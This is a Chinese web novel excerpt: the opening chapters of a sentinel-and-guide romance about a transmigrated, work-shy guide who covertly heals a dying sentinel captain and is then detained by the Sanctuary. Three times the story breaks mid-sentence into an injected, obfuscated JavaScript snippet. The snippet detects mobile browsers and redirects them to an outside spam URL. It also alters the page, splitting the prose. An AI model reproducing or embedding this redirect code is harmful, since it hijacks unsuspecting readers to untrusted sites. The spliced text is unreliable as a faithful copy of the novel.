《万人迷废材向导只想苟结局》 1. 撸黑豹 《一篇向哨文》 by喵梦见了我 2025年5月30日 * 你醒来就在一个哨兵和向导的世界了。 原身是被饿死的。 为了活命，你不得不走向白塔，依靠觉醒的精神力成了一名所谓的注册向导。 突然你发现这其实是好几本限制级的小说设定集。 你很怕麻烦，只想混日子，所以你小小的隐藏了一下自己的真实能力。 你打算苟到这个世界的剧情线结束。 哦，对了，忘记介绍。 在上一个小世界，你是风水木三灵根，为护宗门大阵、自爆元婴而亡。 由于未等到剧情终结便擅自下线，造成的后果就是与系统助手失联，金手指和能量值全部都无法动用。 还好你在上个小世界的漫长修炼，都是实打实的，因此虽然灵根没有了，但风水木的属性却被带了过来。 因此，转化到这个向导世界后，你的精神图景就是一片小峡谷，幽静却生机盎然。 此刻，在你的精神图景中—— 峡谷小溪旁的一小空地上，一头皮毛焦黑，腰背部有几道深可见骨的血口的大黑豹，正焦躁的甩着尾巴，在山谷雾气之间束手速脚的来回转圈。 而在现实世界中—— 你推开前线哨所治疗室的大门，目光立刻被治疗椅上的男性哨兵所吸引。 他此刻被紧紧的束缚在治疗椅上，贴身的作战服勾勒出极具爆发力的肌肉线条，强悍的气息扑面而来。 可惜他现在额角湿透，高挺的鼻梁上蒙着一条绣有圣所标识的抑制眼罩，正陷入一种危险的神游状态。 你认识他。 天枢十二星首席，白塔战力排名前三的哨兵小队的队长。 霍恩斯。 话少，钱多，服务到位了，动不动就积分打赏，是你来白塔工作的这三年内，最优质的客户之一。 “好了，治疗箱放地上吧，”你头也没回，疲累的瘫坐到了治疗椅前的沙发上，对身后押解着你的两个哨兵，淡声吩咐：“出去守着，把门关上。” 停了两秒，身后的人没动，反而粗鲁的伸手，把你从软绵绵的沙发上拎了起来，又往医疗椅的方向推攘了一把。 额，作为一个可怜的C级小向导，逼没装成，反而被粗鲁对待，真没天理。要是还在极端保护向导的白塔，你一定会恶狠狠的向委员会投诉，让这人下黑狱去禁闭个一年半载。 但—— 一怒之下，你也就怒了一下。 这个身体觉醒成向导体质之后，肩不能挑手不能提的，还只是一个能力评分刚刚达到六十分的C级，而身后这两个哨兵至少都是A以上，随便一个手指都能摁死你。 在向哨保护条例落实得完美周全的白塔里，你还能让他们忌惮一下。 现在嘛~ 你非常识时务，站稳后，转头看向他俩，脸上恰到好处的露出了一点无奈的神色：“放心，我既然大老远的跟你们来到前线，自然会毫不藏私，一定会全力治疗你们队长——” 左边的疤脸哨兵语气冷硬：“邵向导，希望您说到做到。” 右边的矮个子哨兵则是捏了捏腰间的断刃唐刀，冷嘲：“我们能把您从白塔带出来，也能把你带到更远的白色荒野。” 被两个新兵蛋子这么明目张胆的威胁，你都快被气笑了。 但看着这两人全身上下细碎的伤口中冒出来的丝丝雾气，你很快又原谅了他们。 很明显，这两人的被污染程度，至少在75％以上，众所周知，污染超过80％就会产生不可逆转的畸变。 一旦哨兵产生了畸变，就正式踏入战争耗材的行业了。 被押解来的路上，你其实跟他俩提议过，按C级向导最大能力质，可以分别给他俩疏导降低八九个百分点，然后他俩再用攒下的积分也好，高息借贷的积分也好，至少有机会向圣所申请一个治愈系向导的圣光救治服务，避免年纪轻轻就成为前线的炮灰和耗材。 可他俩毫不领情，一心只想让你救回他们的队长。 在这一轮的白色荒野之战，天枢星防线已经折损了两个中型哨所的兵力，以及三个特殊首席哨兵小队，而同样评级为S+的霍恩斯小队，在尚未正式公布的前线战报中，已经是折进去的第四个顶级队伍了。 见他俩如此坚决，你妥协，笑：“放心，即便会赌上我C级向导的全部职业生涯，今天我也会不计代价的救助霍恩斯……或者，你俩想留在这里看活春宫？” 疤脸哨兵：“再重复一遍。” 你不由自主的把刚才的话重复了一遍。 断刃哨兵对疤脸点了点头，说：“第一句话，100％真实；第二句……假！” 你微微挑了挑眉，哦，你想起来了，这个疤脸哨兵的天赋能力是‘诱导真言’，而断刃的天赋能力是‘鉴定’。 你回忆了一下这几本限制级哨向的主要人物设定，这两人应该是治愈系NP女主的后宫之一，不过剧情开始时，这两人已经是各据一方的S+大佬。 现在嘛，居然还这么青涩么？ A+呀 是否能判定，距离剧情正式开始，还有好一长段的剧情前摇呢？ 一想到这儿，你就情绪低落了下来。 在这个废土世界，基本生存资料严苛，美食荒漠，更别提娱乐，几乎都没有呢。 想吃一口好的，难如登天。 你没好气的说：“相信我了？快滚，俩小狗崽子，关门！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085672|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发走了霍恩斯这两个忠心耿耿的手下，你踱步来到治疗床前，仔细打量你有半年没见的老客户。 身高一米九的男性哨兵，此刻正无知无觉的被束缚在治疗床上，上身还算干净，但腰部以下的布料被腐蚀得破破烂烂，腥味扑鼻而又血肉模糊。当然咯，对于身体素质强悍的哨兵来说，这点□□损伤并不算什么，他现在最主要的问题是天赋能力使用过度造成的感官神游，以及……精神体逸散。 此刻，霍恩斯的精神体黑豹，正呆在你的精神图景中，所以对你来说，把他从死亡线上拉回来，只是顺手的事。 在这个小世界的哨向世界观中，向导能够进入哨兵的精神图景中，而哨兵却只能在与向导发生深度结合时，才能在向导引导的情况下，进入向导的精神图景中。 如同你这样，能随意把捡到的哨兵精神体暂且收留到自己的精神图景中，是不符合这个世界的初始设定的。 你不介意帮助他，但却十分忌惮违逆小世界的原设定。 因为胡乱加剧情或者设定，意味着会给后期的剧情线收束增加一些不必要的额外工作量。 而你讨厌义务劳动，特别是没有报酬还需要倒贴的义务劳动。 唉，你叹了口气。 弯腰打开自带的医疗箱，拿出几瓶高效清洁剂，拧开，就这么随意的在霍恩斯的伤口上胡乱的厚厚喷了几层，又把整个破破烂烂的治疗室给喷了一遍。 刺鼻的气味弥漫开，消毒完成。 然后你漫不经心的拧开快速愈合剂，抖在清洁后的伤口上。 咚咚咚—— 门板响起，这是门口这俩小狗崽子在表达抗议呢~ “行啦，别催！” 隔着门板，你的语气非常不好：“我只是一个C级，你家队长是S+，一会儿我要上他，运气好才能挑起他的结合热，挑起他的结合热就意味着我一个C级小向导！80％的大概率！会被X死在这个破烂的、临时拼凑的治疗室！” “死前，让我死干净点又怎么着？” 敲门声停了。 之前遗留在治疗室之内，属于两个A+级哨兵的精神力感知似乎瑟缩着后退了到了门外，你难得的品味出一点亡羊补牢的愧疚感。 可对方真的愧疚吗？你并不觉得。 这个向哨世界，哨兵和向导之间的关系并不那么和谐。 在张开精神力屏障之前，你哼笑了一声，撇了一眼治疗床上大腿结实、腰身坚韧的男性哨兵，轻声：“塔里可还没有给我分配结合哨兵呢，第一次上就是猫科，脏猫可不行哦……” “怎么着，都得在享用前，把你们队长先洗干净，不是么？” 你从治疗箱中取出了最柔软的特制手套，分开五指戴上，然后慢吞吞的向治疗椅走去。 2. 撸黑豹 * 你知道，凭借A+哨兵的感知力，这个瘫痪哨所的破烂治疗室，屏蔽功能几乎没有，门外门内几乎没区别。 你并不介意门外两个听壁角。 但你是有真!秘!密！不得现于人前，特别门外两个A+还是尚未开始的世界线中有名有姓的人物。 不得牵扯不必要的因果。 至于眼前这个正等待你拯救的、拥有黑豹精神体的S+哨兵队长嘛，翻遍了原设定都属于‘查无此人’，因而你对待他就随意了很多。 带着特制手套的左手食指，轻轻的点在了神游哨兵的额前。 与此同时，在这间连门窗都破烂得摇摇欲坠的前线治疗室里，属于向导的精神屏障毫无忌惮的张开，远超C级向导的屏障厚度，把即将发生的事彻底屏蔽在了门口两个A+哨兵的感知之外。 你先替霍恩斯收束了游移的精神触角，尝试着阻止他的精神力再继续溃散下去。 他崩溃得太厉害了，精神体神游在外的时间过长，以至于五感尽失，再晚一步的话，即便挽回了性命，也是废人一个。 如果不是遇到你，即便现在是个S+的向导在这里，也无法修复业已崩溃的精神图景。 你叹了口气，微微合上眼。 精神图景中，幽静的峡谷起风了，生机勃勃的树枝向天空伸展，树梢的风化作白鸟，略过精神海的虚空，具现在治疗室的上空。 白鸟如风越飞越高，鹰眼视角给你带来了战场的全部信息。苍凉大地，曾经繁华的城镇被远处的白色荒漠吞噬，小巷民居、街上行人、商铺林立……仿佛被瞬间按下了暂停键，并被PS一键洗白。 鹰眼的全景中，远处街巷中有四个巨大的坑，那是团灭了三个顶级哨兵小队所遗留下的痕迹，霍恩斯其余的队友也牺牲在那里。 在巨坑的最中心，白鸟化隼，一个俯冲了下去…… 这场突如其来的灾变，只有霍恩斯带着两个A+小崽子活下来了。 你难得起了一点探究心，在这个级别的灾变中，他是怎么活下来的？ 微风抚过了远处街巷废墟中残留的信息， 嘘！不可说，不可说，不可说…… 额头微胀，你闭了闭眼，算了，这个世界的秘密，跟你没关系，就不去费力探究了。 再睁眼。 化隼的白鸟击破了巨坑底下暗自燃烧的黑色火焰，最后一个漏洞堵住了。 风也散了， 白鸟如同具象时的无声无息，散形时也无声无息。 残留的微风下旋，落在幸存哨所外的唯二两个活人身边，仁慈的给正在忍受着污染侵蚀的两个A+哨兵带来了一丝久违的清凉。 刀疤脸哨兵似有所感，一头半人高的花豹从他身后的虚空一跃而出，警戒的四处嗅闻。 断刃哨兵：“哥，有什么不对吗？” 刀疤皱眉，又细细探寻了一番，说：“一切正常，只不过，邵向导刚才打开的屏障，你不觉得……” 断刃也把视线转向了紧闭的治疗室大门，只有特殊哨兵才能看见的向导精神力，厚厚的、铺满了整个治疗室。 他喃喃低语：“是啊，C级向导的精神力屏障……强悍到这种程度，是正常的吗？” 刀疤：“队长在进入禁区之前，交代的最后一件事，是如果他回不来，就把他卡里的所有的个人贡献积分，无偿赠与给白塔第六层的邵某向导……” “嘶——这件事，你不觉得……更不正常吗？” * 你可不管什么正常不正常。 治疗室内。 屏障刚建立好，你就把收留在你精神图景中的黑豹放了出来。 黑色的大猫甫一落地，就喉咙呼噜噜的、急不可耐的朝你的小腿蹭了过来，它一贯喜欢在跟你玩的时候尽可能的把体型缩到最小，这样能最大限度的方便它偷偷的蹭到你怀里，最大面积大接触到你的肌肤。 但今日不同往日，体型变小不适合验伤。 你的嘴角泛起微笑，要求它：“小乖，变大一点哦，再大一点。” 它夹着嗓子，轻轻的嗷了几声，抖了抖身子，体型恢复到原型的三分之一，毛茸茸的头颅刚好可以达到你的腰腹间，考虑到治疗室空间不大，还有一个身高腿长的哨兵躺在一边，你就让它保持在这个位置。 你替它仔细验伤，捡到它时，腹部和四爪都有严重的腐蚀，现在在你精神图景中休养了七八日，腐蚀程度已经大大减轻，只有腰背出几道割裂的伤痕还在慢慢修复。 可惜目前的情况下，对于哨兵的精神体，你没办法直接治愈，只能处理到这个程度。 小乖乖顺的任你一会儿揉揉大脑袋，一会儿捏捏手感极好的耳朵，还顺从的把硕大的头颅轻轻的挨在你的小腹前。 与它的主人破破烂烂的身体状况、四处漏风的精神图景相比，这只大猫状态好得过分，甚至喉咙间呼噜噜的抗议着你一直把它关在溪谷的滩涂上，不同它玩儿，也不陪它。 你轻笑了一声，开心的抱住这个大脑袋，手掌抚过它厚实的颈项，扰过它的下巴，又沿着脊背一下一下的打着圈儿揉捏，小乖的喉咙深处发出一种低沉而满足的震颤，甚至微微侧过头，将最脆弱的咽喉暴露在你手指之下。 “好啦好啦，咱不是说好的吗？要放你在溪谷旁养伤，你就得乖乖听我的……” “我用山间的雾气困住你，也是为你好呀……” 大黑豹的皮毛摸起来，触感棒极了，你撸得超级开心。 甚至大胆的把魔手伸向了大黑豹的尾巴，要知道，虽然精神体与哨兵本人并不是完全等同的关系，但身体对应部分还是能达到某种程度的通感的。 你馋那两颗猫铃铛的手感很久了，每次给霍恩斯治疗，总是遗憾没机会去弹弹铃铛玩儿，你虽然没什么羞耻心，但被摸的人肯定有啊！ 遗憾到现在，终于有了补偿的机会，嘿嘿~~ 一人一豹沉浸在撸和被撸当中，彻底忘了治疗床上还束缚着一个S+的哨兵。直到空气中渐渐浮动起一股混合着辛辣的草木灰烬味和一种类似锋利刀刃擦过空气的冷硬，却因为触及治疗室中四处散漫飘扬的向导信息素，而突然变得仿若被蜜腊包裹着的醇厚蜜香，空气中渐渐燥热…… 嗯？ 对于类似会引发结合热的症状，你一贯警惕性百分百。 可是，你的手只是刚刚撸到了黑豹尾巴，还没来得及曲指去弹弹猫铃铛……更别提从推门进来到现在，你只是隔着手套，只触碰到他眉心的一小块肌肤。 这、这反应是不是过于敏感了？ 遗憾！别了，猫铃铛~ 看来这次没机会了。 你拍拍窝在你怀里的大黑豹大脑袋，在它不情不愿和依依不舍的挽留中，从沙发上站起身来，回到治疗床前。 你俯下身仔细观察。 黑豹精神体的代名词是潜行的杀戮者，黑暗中的视觉是天赋升级带来的馈赠，但常常会因为过渡使用能力而失控，因而霍恩斯总是随身携带者圣所赐下的抑制眼罩，来平衡用眼过渡的损伤。 因此，这是眼罩、是束缚器、也是哨兵精神图景濒临崩溃时的最后一个救命道具。 此刻，圣所眼罩上的精神力绣纹渐渐失去效力。 他的精神图景要彻底溃散了。 你叹息一声，视线掠过S+哨兵高挺的鼻梁，逐渐灰白的唇色，低头与他的额头相抵，你秀美的鼻尖与他的只相隔不到0.1公分，温热的吐息慢慢交缠。 空气中草木灰的余烬与刀锋般的冷厉感彻底散去，只留下琥珀中封存的的蜜香一丝丝溢出，越来越醇厚浓郁。 对于霍恩斯这个VIP客户，你一向都很满意。 不仅仅是因为能忍痛、够傲娇，且治疗结束后从来都不黏人……当然，最主要的原因是，他出手大方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085673|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当的大方。 上次他在你这里新办的VIP治疗卡，还预存有足足30万积分的余额呢~ 而你在白塔高层住宅区买的大平层，才刚刚开始还款…… 所以你现在，绝对、绝对、不能失去霍恩斯—— 的积分。 保持着这样别扭的姿势，你微微垂眼，调动精神图景中的溪谷水流，以万钧之力、强势的闯进了霍恩斯的精神图景中。 一如既往，他的精神图景十分信任的对你敞开着，不过对你而言，是否敞开都无所谓，从九天垂下的天之瀑会无差别的冲击一切污脏与美好，深潭的漩涡会吞噬和泯灭一切差异。 你的治疗方式是强横、又毁灭性的。 神识践踏过霍恩斯的过往碎片，你迅速的穿越他的过去，没有任何要留下、观看、或者探究的好奇心，只顾着掀起一浪又一浪的海天浩劫，粉碎这原本就破烂散逸的精神图景…… 直到—— 漫天的水浪冲刷中，你找到了一道模糊的身影。 赤裸精状的男体，如婴儿般蜷缩在这漫天水浪浩劫中的一个气泡之中，那是他的自我。 你操纵水流从天而落，以天地为缸，以包含着哨兵‘自我’的气泡为风暴的阵眼，彻底粉碎了旧有精神图景的所有污染。 行了，齐活儿！ 你干脆利落的转身，退出了与哨兵的精神链接，因而完美的错过了精神图景中那道向你扑过来的身影。 现实中—— 霍恩斯呼吸平稳了下来，唇色渐渐恢复正常，外散的那些杂乱的精神丝也仿佛找到主心骨一般，有条不紊的自动收束回到主人的精神海。 接下来、就是被你胡乱捣鼓一番的精神图景需要重建，那是一个又费劲儿、又漫长的过程。 但那是他自己的事，与你无关。 你干活儿从来不包售后。 你全身瘫软的坐回了沙发上，摸了摸额头的汗，唉，这身体不行，稍微动一点力量，负面损伤就会反馈到这副脆皮的肉身之上。 察觉到你心情不好，小乖踱步紧挨着你，黑亮的长条尾巴尖讨好的硬塞到了你手心。 你没甚心情的揉了一把，然后把它推到霍恩斯的床前。 委屈的大黑猫不肯走，还用湿漉漉的鼻头碰了碰你裸露在外的小臂。 你不耐烦的抬脚踢了它一下，叱骂：“还赖着我干嘛，回到你主人那边，他现在需要融合修整新的精神图景，快去。” 察觉到你的驱赶之意，小乖低下硕大的头颅，悲伤的呜咽了几声，然后伏身渐渐后退、身形渐渐变淡……最后消失。 它最后一声呜咽，是在告别。 作为‘本我’的量子显现，被你私下称呼为小乖的黑豹精神体，就这么回到霍恩斯的精神海之中了。 你知道，这将是你最后一次见它。 被你蛮横摧毁的破烂精神图景，只保留了最基本的‘自我’‘本我’‘无我’‘显我’四大基本的精神底座。 小乖或许会重生，或许会被重新改造，但更大的可能——是会被霍恩斯的精神海所吸纳吞噬，分解能量和养分。 这是必然的，从你把它收留到自己的精神图景中温养的那一刻开始，就是为了这一刻。 为了重塑‘自我’而细心温养的献祭品。 时间静默的流动着。 你知道，此刻霍恩斯的精神图景正在融合，‘自我’与‘本我’正在厮杀、正在互相吞噬重组，等这个融合的过程结束，精神体完全修复之后，将重新分化出精神底座的四大分支。 到时候，即便是一个一模一样的精神体黑豹，也不会是刚才那一只了。 想了想，还有点惆怅呢。 那两个毛茸茸、圆团团的可爱猫铃铛，是再也没有那个福气摸到手了…… 向着不知名的虚空，你轻声呢喃：别了，小乖。 高兴撸过你。 3. 撸黑豹 * 霍恩斯醒来了。 他侧脸‘看向’你的方向，沙哑的男音干渴的说到：“请帮帮我。” 在这个姿势下，绣有圣所灵纹的丝绸眼罩被蹭得微微起皱，紧紧贴着汗水湿透的额头，一副被凌辱过的事后模样。 可事实上，在□□调教这个领域，你什么都没对他做。 你看了一眼墙上的时钟，只过去了半个小时。 这就是S+哨兵的恢复力吗？ 你内心感叹，身体却懒洋洋的不想动，一副惫懒无比的样子：“帮你什么？解开束缚吗？可如你所见，我现在也一点……力气都没有。” 霍恩斯笑了，手指虚弱无力的动了一动，无奈又诚恳：“邵音向导，虽然现在不在白塔，可我相信，我们的服务协议依旧在有效期。” 你：“额外服务100个积分一次，同意吗？” 霍恩斯又笑了一下：“嗯，同意。如果您愿意协助我喝一点水，再支付您100积分。” 你歪头探究的看了他一眼，说出这话的霍恩斯，似乎跟以前一样，又似乎有什么地方不太一样了。 不过，只是干一点普通的护理工作，就能拿到200积分儿。 相当的！划算！！ 果然不愧是出手大方的金主豹豹。 在高额积分的驱使下，你疲累的四肢，重新生出力气。 你起身，向他走去。 俯身在他身前，摸索着按下解除开关。 可惜，这间位于前线哨所的破烂治疗室，似乎线路出现不少问题，你捣鼓了好几次，都没有成功解开。 使出吃奶儿的劲儿，甚至单膝压在治疗床上，双手用力，才只解开霍恩斯左上臂的束缚带。 你并没有注意到，在这样的姿势下，你的长达腰际的发尾若有若无的拂在了身下哨兵的脸侧，睡裙裙摆的褶子也拂在了哨兵紧绷的大腿上。 空气中慢慢浮动起似蜜似烬的味道…… 你后知后觉，低头。 嘎吱—— 治疗床的合金手栏，被霍恩斯前一秒还虚弱无力的手指，狠狠的捏出了一道指印，刚接触束缚的左臂伸向你的腰肢，狠狠一拉~ 这一下，你的上半身毫无阻拦的被贴在了某人的胸前，大手按着你的头颅被强行埋在他的肩窝，炙热的呼吸喷洒你的颈侧。 你知道这是哨兵在接受疏导后，很难避免的一种‘依赖综合症’，在你任职白塔的这段时日中，比这更黏黏糊糊的举动你都遇到过，委实算不上什么新鲜事。 不过你一向不假辞色，对你来说，摸一下猫猫狗狗鱼鱼虫虫……是可以的，但人不行，尤其是或青涩或成熟的那些男性哨兵。 在这个世界观中，哨兵对适配向导的渴求，是刻印在骨子里的，做完精神疏导就想肢体抱抱，皮肤贴贴，更过分的那些还想更深入的侵犯。 你能够理解这个世界观的设定。 但从治疗效果而言，你并不觉得□□接触是必须的，那只是在哨向世界观设定下的思想钢印。 而你很幸运，在处理了十几次的医闹事件后，你筛选出了霍恩斯这个十分认同你治疗理念的冤大头……啊，不，明码标价你情我愿的事，怎么能叫冤大头呢。 瞧瞧，如果这次不是你化用了前一个世界的术法，以‘献祭’量子精神体的方式弥补了霍恩斯精神图景的亏空，此刻的他，早已是一具空壳。 “好了，霍恩斯。” “可以停下了啊，一点都不像你了” 你好言好语的劝说，努力忽略深埋在你肩颈处的磨磨蹭蹭的头颅，束缚的眼罩早就被他这个动作蹭到了锁骨上，热烫干裂的唇用力的擦过耳后，高挺的鼻梁压在你后颈的那块软肉似有若无的捻弄。 你觉得你的忍耐逼近了临界值，如果不是脑海里三十万积分在来回拉扯，你早就——！ 你无可奈何的下最后通牒：“你还记得我们签订的‘无接触式医患服务协议’？你还记得你每次治疗前都答应过我……” “记得，我答应过您，一切按您的规矩来……”含糊低沉的男声，带着极度克制的隐忍，微微喘息：“请、请再给我三分钟，不、一分钟就好……” “好吧，1000积分，最后三十秒。” 你翻了个白眼，开始计时。你本来是想报价一万积分，可是世间各有规则，因果率是每个世界都存在的铁律。 你不想加入这个世界，也不想推翻这个世界，你只想苟到这个世界结束。 但你懒散的本性，又让你忍受不了太差的环境和生活待遇。 因此你只能在等价交换的情况下，与世界规则擦个边儿，尽量让自己的日子过得舒服一些。 二十七、二十八……好，倒计时结束！ “够了，放开！” 你呵斥。 一键拍下床侧的紧急键，还未完全解除的束缚装置重新起作用了，合金的束缚带强制性的把脸色潮红的哨兵再次束缚回半抬起来的治疗床上， 你从霍恩斯身上爬下来，一边整理邹巴巴的睡裙，一边恶狠狠的瞪了他一眼。 只一眼。 你愣住了，心里浮上了一丝对你而言，十分稀少心情—— 怜悯。 那双原本深邃如夜空的黑眸，此刻如同掺杂了不少细碎砂粒的蒙尘水晶，不，眼球的晶体上有细密的裂痕，连水晶都称不上，只是一对劣质的、破碎的灰玻璃渣罢了。 你宁愿他失明了，可他此刻望着你的样子，分明还能在现实中看得见。 很明显，身为S+哨兵的他，失去了……与生俱来的觉醒天赋。 “霍、霍恩斯，你的‘月之瞳’呢？” 他笑，大大方方的看着你，说：“为了活着，我违背了哨兵的原则，用‘月之瞳’与那个东西做了交易，很快白塔会来调查这件事，到时候避免不了会牵扯到您……不过您放心，我会提前打点好。” “您只需要出庭做一个证，如实说出您的遭遇。” “毕竟——” “我也没想到，一时心软救出那两个小子，他们却胆大包天的把您从睡梦中掳到了前线……” 他的声音突然低落了下来：“请、您不要为我难过。” “哈，我才没难过，”你嘴硬到，然后转身，哔哩哗啦的用力打开饮水机柜子，咕咚咕咚的灌满了一杯水，走到治疗床前，把纸杯抵到他干裂的唇前，粗鲁的喂他喝水。 霍恩斯一声不吭，很配合，你给水他就喝，不像有些哨兵磨磨蹭蹭的刻意搞小动作。 暧昧氛围一挥而散，就如同你在白塔的治疗室，每个月的固定疏导日，预约排队三小时，见面三分钟，干脆利落的搞定。 除了刚才那一点点失控黏黏糊糊，霍恩斯一向都是你最满意的顾客。 一连灌了五杯水，直到他薄唇紧抿，眉头微皱，你才意识到灌多了。 你道歉：“不好意思，我走神了。” 霍恩斯：“我以为您想让我喝完整桶水，如果这是必要的治疗方式，我会的。” “哦？真的。” “可惜杯子里一滴都没有了。” “如果你需要，我可以再去接一杯，不过我想，你的队友肯定也等急了……” “他们肯定乐意效劳。” 你同他开着玩笑，然后撤下了精神力屏障。 几乎同时，薄薄的门板被‘砰’的一下强行撞开，那两个A+小崽子闯了进来，焦急的问：“队长！您还好——？” 然后两人愣住了。 你耸了耸肩，把纸杯丢回垃圾桶，然后慢吞吞的坐回了房间里唯一算得上柔软的沙发上。 霍恩斯轻而易举的伸手扯断了束缚器，从湿乎乎、黏哒哒的治疗床上坐了起来，温和：“我一切都很好。” 刀疤迟疑：“可是，队长，您、您的眼睛……” 断刃却冲着我大喊：“你对队长做了什么？明明我为队长戴上圣物的时候，眼睛还好好的！” 霍恩斯：“滚出去。” 刀疤反应过来：“是。” 然后一把扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085674|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过还有话要说的断刃，迅速离开了。还非常有眼色的关上了摇摇欲坠的门。 门是合金的，被刚才那一下踢得门框都变了形，刀疤用力关了几次都没关上，直到面不改色的伸手捏平了扭曲的地方，才勉强的把门合拢上了。 “你故意的。” “霍恩斯，你变坏了！” 你指责他， 在你看来，霍恩斯明明有十足的力气扯开束缚，却偏偏哄你去喂他喝水。 你不喜欢这样的人，非常不喜欢，你认为什么所谓的‘腹黑’其实是一种非常差劲儿的品质。 固然你十分欣赏霍恩斯时不时狂爆金币和积分的美好特质，但真正促使你愿意跟这两个A+小崽子来这么一趟的原因，却是—— 霍恩斯正直、禁欲、虽然第一次见面有点过于傲慢，可他出手大方很快弥补了那么一点点的不足，更何况他是少有的，十分珍惜队友生命的哨兵。 在这个废土世界中，这点品质非常稀少，你多少把他当成了你的朋友。 友谊的份额不多，只有杯子里剩下的水那么一点点。 难道你看错了？ 你心里重新评估着与这个人的关系。 霍恩斯走了过来，在你身前蹲下，他身材高大，尽管几乎是单膝触底的姿势，却也视线微微高过坐在沙发上的你。 “我的向导，你来看看。” 你皱了皱眉，他变腻歪了，一点都不高冷的豹豹，不是好豹豹，你觉得这段友情只能到这里了。 尽管你树立了精神屏障，哨兵不能获取你的所思所想，但他似乎能从你的身体语言中了解你的思想。 霍恩斯以不容拒绝的强势抓住你的手，强迫你的食指点到了他的眉心。 哨兵嘈杂、残破的心声向你涌来。 你抽回了手。 只需接触那么一秒，你也‘看’明白了。 尽管他此刻面色自若的在你面前聊天，甚至比之前说的话还多，但他此刻精神图景中的风暴还未完全平息，旧的崩塌，新的正在废墟中重新建立。 是你的存在，你的碰触，你的话语，让他有力气维持着表面的正常和平静。 你突然说：“霍恩斯，你应该赶紧回塔里去，去紧急匹配一个差不多等级的向导，做一场深度契约和精神链接修复。” “这样，你才能完整的重建精神图景，甚至还有可能重新凝出精神体……” 他没有说话。 你思忖了一下，说：“虽然我不知道你还有多少积分，但凭你曾经S+，历年累累功勋，又有白色荒野唯一存活的价值，塔里肯定愿意先让你欠着，然后极力救你恢复等级……” “不、天枢十二星的白塔不一定能给出这个代价，但圣所一定可以！” “对，圣所！” 你跳起来，在房间来回踱步，搜索自己对世界线开始前少得可怜的信息，对霍恩斯做出一个可行的建议。 “那群老不死一定很好奇，你最后在‘禁区’看到的东西，快，趁现在白塔的惩戒部还没到，咱们先往西走，先去圣所！” 你越说越觉得靠谱，立刻站起来向门外走去，见他还半跪在原地没动，便返身去拉他。 却在还未触及到他的时候，被返手一拉，猝不及防的再次跌入了他的怀里。 又、又来！ 你怒~！ 他紧紧的抱住你，紧绷得贲张的肌肉如热烫的烙铁，仿佛陨石坠落地面前，最后一滴松脂的蜜香，裹入时光刻印的最后一点无望的念想。 他叹息：“来不及了，他们已经来了。” 躯体破烂的哨兵，绝望混乱的心声，疯狂的充斥在你的身边—— 不想分离，不想与……分离，不要分离，不要分离、不想、不想、不想、不要、不要、不要、不要、不要、不要……不要分离，不要分离、不想、不想、不想、不要、不要、不要、不要、不要、不要、不要分离，不要分离、不想、不想、不想、不要、不要、不要、不要、不要、不要 不要离开你。 4. 那些鸟人 * 唉。 霍恩斯说对了，他们来了。 但来的，不仅仅只有白塔的惩戒部，还有—— 圣使。 没错，就是圣所那个圣使，能在后背合理合法的畸化出两个大翅膀并到处招摇的鸟人。 你还是第一次见‘鸟人’。 你好奇的盯着半空中堪比影视特效的‘圣光乍现’，此招一出，情势逆转，原本堪堪平手的白塔惩戒部，在这一招之后，就处于劣势，被圣所的鸟人哨兵压着打。 最后的输赢毫无悬念。 你规规矩矩的坐在地面的光牢之中，腿上还躺着一个昏迷不醒的霍恩斯。此刻他已经被描满灵纹的黑色丝绸给全身绑护了起来。 这是圣所的惩戒，也是圣所的保护。 你看他们在天上打的噼里啪啦的，一时之间还消停不了，于是你转头对此刻正坐在光牢外的白塔向导搭话。 “喂，同事——”你小心翼翼的打听，“圣所要的只是霍恩斯吧，等分出结果了，是不是我也能回白塔了？” 白塔惩戒部这次派出的是一个A+向导，带的是S级十人哨兵小队，打的口号是追回白塔向导，惩戒犯事哨兵。 对于这样的阵仗，你其实有点受宠若惊。 白塔向导：“喂？喂什么喂？邵音，你这张嘴不懂礼貌，可以缝起来不要，还是说，想让我教你什么叫礼貌？” “还同事？” “区区一个万年吊车尾、混吃混喝的C级向导，谁跟你是同事？” 长着一张洋娃娃脸的白塔向导，双手抱胸，火红的眸子紧盯着你，十分不高兴的样子。 你叹了口气，从善如流：“尊敬的‘雪夜流火’阁下，请您原谅我的无礼。” “嗯。” 这个脸蛋漂亮得像一个洋娃娃的白塔向导，私下你都唤他在成为向导之前的名字——白莺。 这个白莺，虽然长得幼齿，实际上还差一点就成年的他，也确实十分幼齿。 你们曾在同一个避难所抢馒头吃，曾在污染引发的异兽潮中互相掩护，直到彼此扶持着进入了白塔，心心相印的友谊就发生了彻底的变化。 